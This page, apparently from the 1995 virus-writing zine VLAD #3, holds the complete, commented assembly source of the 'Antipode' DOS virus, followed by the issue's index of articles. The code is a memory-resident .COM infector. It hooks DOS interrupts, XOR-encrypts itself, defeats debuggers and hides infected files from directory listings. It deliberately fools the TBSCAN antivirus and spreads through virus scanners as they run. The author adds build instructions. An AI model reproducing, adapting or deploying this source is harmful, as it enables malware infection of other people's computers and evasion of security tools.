Virus Labs & Distribution
VLAD #3 - Antipode


; Hi guys...
; Tonight it's Sun 1 Jan 1995     0:03:16 (4DOS Time)
; The Radio is playing U2's NEW YEARS DAY ;)
; So, I wish you a Happy NEW YEAR !!!!

; This virus is called Antipode, because of the position of France in
;       relation to Australia.
; It's my very first release:
;       - .COM/.com infection, not COMMAND.COM
;       - Find-first/next stealth     4e/4f + 11/12
;       - Time based marker: seconds field=2
;       - Infects read-only files
;       - Restores original Time/Date + second=2
;       - XOR encryption
;       - Memory resident, using MCB's
;       - Infection on Exec+Open+Extended Open
;               it's a pretty fast infector... try to scan your disk when
;               resident, it will use SCAN/TBSCAN and even F-PROT 
;               as a vector :)
;       - Write Protect Errors removed by int 24h handler
;       - I added a little trick to fool Veldman's TBSCAN, when in memory,
;               TBSCAN don't scan any infected file...

;       I'm sorry, but due to the encryption this virus is a bit tricky to 
;       create:         you must assemble as usual,
;                       link it to a bin file : IP must be 0
;                       append it to a .com that just jumps at the end
;                       now trace the resulting .com and skip the encryption
;                       but you MUST execute the push dx,
;                       without getting trapped by Qark :)

;       That's not too hard, but you must be worthy to use this virus :)



exec_adr        =       0000:0100h              ; Address of return

		jumps                           ; Allow Tasm to resolve too
						; long jumps
virusseg        segment byte public
		assume  cs:virusseg, ds:virusseg

		org     0000h                   ; Begin the virus at IP=0

start:
		push    ds:[101h]               ; 101=offset of the jump
		pop     dx
		add     dx,103h                 ; Dx=offset start
		push    dx                      ; put it on the stack

		mov     si,offset quit          ; adaptation of Qarks routine
						; to fool debuggers
		add     si,dx
		mov     word ptr ds:[si],20CDh
quit:           mov     word ptr ds:[si],04C7h
						; Heuristics and debuggers
						; won't find us now.
		call    cryptage                ; decrypt the virus
		jmp debut_cr                    ; jump to the virus

cryptage        proc near
		mov     si,offset debut_cr      ; start of the encrypted area
		add     si,dx                   ; fix it 
		mov     di,si                   ; use si as the xor value
cryptage_2      proc near                       ; this proc will be called to
						; encrypt the virus
		mov     cx,offset last-offset debut_cr
						; cx=length to encrypt
cr:             xor     word ptr ds:[si],di     ; enc/decrypt the virus
		inc     si                      ; move to next byte 
		loop    cr                      ; and enc/decrypt the virus
		ret
cryptage_2      endp
cryptage        endp

debut_cr:       
		mov     si,offset buffer        ; Buffer contains original
						; bytes of the virus
		add     si,dx                   ; fix it once again
		mov     di,100h                 ; destination is entrypoint
		push    cs
		pop     es
		movsw
		movsb                           ; Patch back to the original

		mov     ah,02ch                 ; Ask for the Time
		int     21h
		cmp     dl,242                  ; Are we in memory ? 
		jne     not_in_ram              ; if not, install
		push    cs
		mov     ax,100h
		push    ax
		retf                            ; go back to original entry

not_in_ram:
		push    cs
		pop     ax
		dec     ax
		mov     ds,ax                   ; DS -> MCB
		inc     ax
		mov     cx,word ptr ds:[0003]
		mov     dx,cx                   ; DX=number of parag. left
		add     dx,ax
		sub     cx,(((last2-start)/16)+1)*2
						; alloc 2*size of the virus 
		mov     word ptr ds:[0003],cx   ; fix the MCB
		mov     cx,dx
		sub     cx,(((last2-start)/16)+1)*2
		mov     es,cx                   ; es=future cs of the virus
		mov     cx,(last2-start)+1      ; size of the virus
		push    cs
		pop     ds
		pop     dx
		mov     si,dx                   ; si = entry of the virus

		push    si
		push    cx

		mov     di,0
		rep movsb                       ; copy the virus to es:0

		pop     cx
		pop     si

		rep movsb                       ; once again

		push    es
		mov     cx,offset nextstep
		push    cx
		retf                            ; Jump to ES:IP
		;install the virus in ram and hook vectors
nextstep:                                       ; We are at the top of mem

		push    cs
		pop     ds
		mov     word ptr ds:[farjmp+3],ax
						; Fix the return adress

		mov     ax,3521h                ; Save the int 21h vectors
		int     21h
		mov     ds:word ptr save_int21+2,es     
		mov     ds:word ptr save_int21,bx

		mov     dx,offset my_int21      ; Use our int instead
		mov     ax,2521h
		int     21h

farjmp:         jmp far ptr exec_adr            ;Return to the original


my_int21        proc    far
		cmp     ah,11h          ; Find first
		je      dir_stealth
		cmp     ah,12h          ; Find next
		je      dir_stealth
		cmp     ah,4Eh          ; Find first
		je      find_file
		cmp     ah,4Fh          ; Find next
		je      find_file
		cmp     ah,3dh          ; File open
		je      check_it
		cmp     ah,4bh          ; Exec
		je      check_it
		cmp     ah,6ch          ; Extended open
		je      check_it
		cmp     ah,4ch
		je      terminate
		cmp     ah,02ch         ; Time
		jne     to_vect

		call    int21

		mov     dl,242          ; seconds = 242
		push    cs
		pop     bx
		iret
check_it:
		jmp     check_it2

dir_stealth:
		call    int21
		test    al,al
		jnz     not_a_file

		pushf
		push    ax
		push    bx
		push    es

		mov     ah,51h
		int     21h

		mov     es,bx
		cmp     bx,es:[16h]
		jnz     not_infected
		mov     bx,dx
		mov     al,[bx]
		push    ax
		mov     ah,2fh
		int     21h
		pop     ax
		inc     al
		jnz     fcb_ok
		add     bx,7h
fcb_ok:         mov     ax,es:[bx+17h]
		add     bx,3
		jmp     patch_size
find_file:
		call    int21
		jc      not_a_file
		pushf
		push    ax
		push    bx
		push    es

		mov     ah,2Fh
		int     21h                     ; Ask for the DTA

		mov     ax,es:[bx+16h]          ; ax=time 
patch_size:
		and     al,1fh                  ; ax=seconds
		xor     al,1                    ; are seconds=2 ?
		jnz     not_infected
		mov     ax,offset last-offset start
						; ax = size of the virus
		cmp     byte ptr cs:[tbscan_active],1
						; is TBSCAN active ?
		jne     dont_fool
		mov     ax,word ptr es:[bx+1Ah] ; if active the file size = 0

dont_fool:      sub     word ptr es:[bx+1Ah],ax
						; sub virus size to file size

not_infected:
		pop      es
		pop      bx
		pop      ax
		popf

not_a_file:
		retf 2                          ; no iret to save the flags
						; thanks to Qark...

check_it2:      pushf
		push    ax
		push    bx
		push    cx
		push    di
		push    dx
		push    ds
		push    es
		push    si                      ; TOO MANY PUSHS !!!
						; OPTIMISE !!!
		mov     byte ptr cs:[function],ah
						; save ah for later
		cmp     ax,6c00h
		jne     not_extended
		cmp     dx,0001                 ; int 21h ax=6c00h/dx=0001h->
						; int 21 ah=3dh
		jne     no_good
		mov     dx,si                   ; the name -> DS:SI
not_extended:
		push    ds
		push    dx                      ; save filename seg/offs

		mov     ax,3524h
		int     21h
		mov     word ptr cs:[save_int24],bx
		mov     word ptr cs:[save_int24+2],es
						; save int 24h
		push    cs
		pop     ds
		mov     dx,offset my_int24
		mov     ax,2524h
		int     21h                     ; install our int

		pop     dx
		pop     ds                      ; restore the filename

		mov     al,00h
		push    ds
		push    ds
		pop     es
		mov     di,dx
		mov     cx,0ffh
		repne   scasb                   ; seek to the end of the name

		push    cs
		pop     ds
		cmp     byte ptr cs:[function],4bh
		jne     not_exec
		push    di
		sub     di,11
		mov     si,offset tbscan
		mov     cx,10
		rep     cmpsb
		jnz     not_tbscan
		mov     byte ptr cs:[tbscan_active],1
not_tbscan:
		pop     di
not_exec:
		sub     di,4
		push    di                      ; seek to the extension

		mov     si,offset comfile
		mov     cx,3

		rep     cmpsb                   ; check if the file is a COM
		pop     di
		jz      good


		push    di
		mov     si,offset comfile+3
		mov     cx,3

		rep     cmpsb                   ; or a com
		pop     di
		jnz     no_good

good:
		pop     ds
		cmp     byte ptr [di-2],'D'     ; COMMAND.COM ?
		jnz     not_command             
		cmp     byte ptr [di-8],'C'
		jz      push_no_good

not_command:    mov     ax,4300h
		int     21h                     ; get the attributes

		mov     word ptr cs:[save_attrib],cx
		jc      exit_2                  ; if no file exists...RUN !!!

		mov     ax,4301h
		xor     cx,cx
		int     21h                     ; set zero attributes

		push    ds
		push    dx

		mov     ax,3d02h                ;Open file Read/write

		call    int21

		mov     bx,ax                   ; bx = handle
		mov     ax,5700h                ; get file time/date
		int     21h
		mov     cs:[save_time],cx
		mov     cs:[save_date],dx       ; save them

		mov     ax,word ptr cs:[save_time]
						;Check for an infection
		and     al,1Fh
		xor     al,1    
		je      dirty_exit

		push    cs
		pop     ds
		mov     dx,offset buffer+(offset last2-offset start)+1
		mov     cx,end_patch-patch
		mov     ax,3F00h                ; Read xx first bytes
		int     21h                     ; to te buffer of the second
						; copy of the virus in memory

		xor     cx,cx
		xor     dx,dx
		mov     ax,4202h                ; Seek to EOF..
		int     21h

		mov     di,ax                   ; ax = end of file
		add     di,offset debut_cr-offset start+100h
						; di = value of the XOR
		sub     ax,3h                   ; ax = adress of the jump
		mov     word ptr cs:[return+1],ax
						; patch the future file
		mov     si,(offset last2-offset start)+offset debut_cr+1
						; si=offset of the 2nd virus
		push    si
		push    di

		call    cryptage_2              ; crypt the 2nd copy

		push    cs
		pop     ds
		mov     dx,offset last2+1       ; dx= offset of the 2nd copy
		mov     cx,last-start
		mov     ah,40h
		int     21h                     ; Write the virus to file...

		pop     di
		pop     si

		call    cryptage_2              ; decrypt the 2nd copy

		xor     cx,cx
		xor     dx,dx
		mov     ax,4200h                ; seek to start of file
		int     21h

		push    cs
		pop     ds
		mov     dx,offset patch
		mov     cx,end_patch-patch
		mov     ah,40h
		int     21h                     ; write the jump to the file

		mov     dx,cs:[save_date]
		mov     cx,cs:[save_time]
		or      cx,0001h
		and     cx,0FFE1h
		mov     ax,5701h
		int     21h                     ; restore file time/date

dirty_exit:
		pop     dx
		pop     ds

		mov     ah,3eh
		int     21h                     ; close the file


exit_2:         mov     ax,4301h
		mov     cx,word ptr cs:[save_attrib]
		int     21h                     ; restore the attributes
push_no_good:
		push    ds
no_good:
		pop     ds
		mov     ds,cs:[save_int24+2]
		mov     dx,cs:[save_int24]
		mov     ax,2524h
		int     21h                     ; restore the int 24h
		pop     si
		pop     es
		pop     ds
		pop     dx
		pop     di
		pop     cx
		pop     bx
		pop     ax
		popf
to_vect:        jmp     dword ptr cs:[save_int21]
						; and call the int 21h
terminate:
		mov     byte ptr cs:[tbscan_active],0
		jmp     to_vect

my_int21        endp

my_int24        proc    far                     ; int 24h
		mov     al,0                    ; no problem...
		iret                            ; and return
my_int24        endp

comfile         db 'COMcom'                     ; extensions to infect
tbscan          db 'TBSCAN.EXE'
		db '[Antipode 1.0]',0
		db 'by Automag/VLAD'
tbscan_active   db      0
buffer:         db      0CDh,20h,90h    
int21   proc    near
		pushf
		db 9Ah
save_int21      dw      2 dup (?)
		ret
int21   endp

patch:
return:         db      0e9h
last:           db      00,00
end_patch:


save_int24      dw      2 dup (?)
function        db      0
save_attrib     dw      0
save_date       dw      0
save_time       dw      0

last2:
virusseg        ends
		end     start


- VLAD #3 INDEX -

ARTICLE.1_1      

Introduction
ARTICLE.1_2       Aims and Policies
ARTICLE.1_3       Greets
ARTICLE.1_4       Members/Joining
ARTICLE.1_5       Dist/Contact Info
ARTICLE.1_6       Hidden Area Info
ARTICLE.1_7       Coding the Mag

ARTICLE.2_1      

The Press
ARTICLE.2_2       Fooling TBScan
ARTICLE.2_3       Backdoors
ARTICLE.2_4       Tracing Int21
ARTICLE.2_5       Replication
ARTICLE.2_6       VSUM denial
ARTICLE.2_7       Proview

ARTICLE.3_1      

TBTSR Checking
ARTICLE.3_2       TBScan Flags
ARTICLE.3_3       HD Port Reading
ARTICLE.3_4       HD Port Writing
ARTICLE.3_5       TBAV Monitor
ARTICLE.3_6       Micro128 Disasm
ARTICLE.3_7       Aust403 Disasm

ARTICLE.4_1      

Virus Descriptions
ARTICLE.4_2       Hemlock
ARTICLE.4_3       Antipode
ARTICLE.4_4       Insert
ARTICLE.4_5       VLAD-DIR
ARTICLE.4_6       Quantum Magick
ARTICLE.4_7       Mon Ami La Pendule

ARTICLE.5_1      

Monkeys
ARTICLE.5_2       Small Virus
ARTICLE.5_3       Catch-22
ARTICLE.5_4       ART Engine
ARTICLE.5_5       Megastealth
ARTICLE.5_6       Virus Scripts
ARTICLE.5_7       What's Next ?

About VLAD - Links - Contact Us - Main